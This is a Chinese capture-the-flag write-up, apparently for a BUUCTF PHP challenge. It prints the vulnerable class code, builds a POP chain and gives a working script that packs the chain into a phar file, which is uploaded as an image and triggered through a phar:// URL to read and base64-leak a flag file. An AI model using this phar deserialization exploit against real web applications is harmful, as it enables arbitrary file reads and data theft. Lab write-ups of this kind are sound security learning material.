先經過查看文件的功能拿下所有的文件代碼,分別是index.php
、base.php
、file.php
、upload_file.php
、function.php
、class.php
。而後粗略看下代碼,有個提示(不知道是否是後面放上去的),就是class.php
那裏。php
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
首先是C1e4r
類的__destruct()
方法,能夠把$test
也就是$str
給輸出出來。想要輸出flag就得將$str
的內容爲flag文件,將$str
聲明爲$show
對象能夠觸發show
類中的__toString()
方法。html
而後是show
類的__toString()
方法,能夠把$content
的內容返回對象,這就要求$show->str['str']->source
的內容爲flag文件,若$show->str['str']
爲test類的一個實例化對象,則因test
類裏面沒有source
屬性,從而觸發__get()
方法。node
最後就是test
類了,利用__get()
到get()
到file_get($value)
到最後返回出來,$value的值爲$this->params[$key]
,函數
下爲pop鏈函數this
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c1e4r = new C1e4r(); $show = new Show(); $test = new Test(); $test->params['source'] = "/var/www/html/f1ag.php"; //目標文件 $c1e4r->str = $show; //觸發__toString(),利用 `$this->test = $this->str; echo $this->test;` $show->str['str'] = $test; //觸發__get(),利用 `$this->str['str']->source`;
第一個__tostring()
的觸發是由於對象被當作字符串了,第二個__get()
方法觸發是由於test
類裏面沒有source
屬性。code
phar文件製做腳本:htm
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c1e4r = new C1e4r(); $show = new Show(); $test = new Test(); $test->params['source'] = "/var/www/html/f1ag.php"; //目標文件 $c1e4r->str = $show; //觸發__toString(),利用 `$this->test = $this->str; echo $this->test;` $show->str['str'] = $test; //觸發__get(),利用 `$this->str['str']->source`; $phar = new Phar("7.phar"); //生成phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($c1e4r); //觸發頭是C1e4r類 $phar->addFromString("test.txt", "test"); //生成簽名 $phar->stopBuffering();
本地訪問一下生成文件後改下後綴名爲.png
,上傳。上傳以後能夠在upload
目錄下發現剛上傳的圖片,在function.php
的源碼裏面能夠發現下面的這條語句對象
if(file_exists("upload/" . $filename)) { unlink($filename); }
從而得知文件的目錄。。。阿巴阿巴,目錄直接就開着呢,就比較好找。blog
訪問格式以下圖片
http://b96da071-0c04-4abe-96c6-ea5cf235782d.node3.buuoj.cn/file.php?file=phar://upload/2fe9104ed353a3e60ed55404e1abf179.jpg
得到base64轉化後的內容解碼一下即爲flag。
<?php __HALT_COMPILER(); ?> PD9waHAgDQoJLy8kYSA9ICdmbGFnezBlNjg3NzQzLWM5NWQtNDJhMi04Nzk5LWM0MzIwNjU1MjBjMH0nOw0KID8+DQoNCg==
<?php //$a = 'flag{0e687743-c95d-42a2-8799-c432065520c0}'; ?>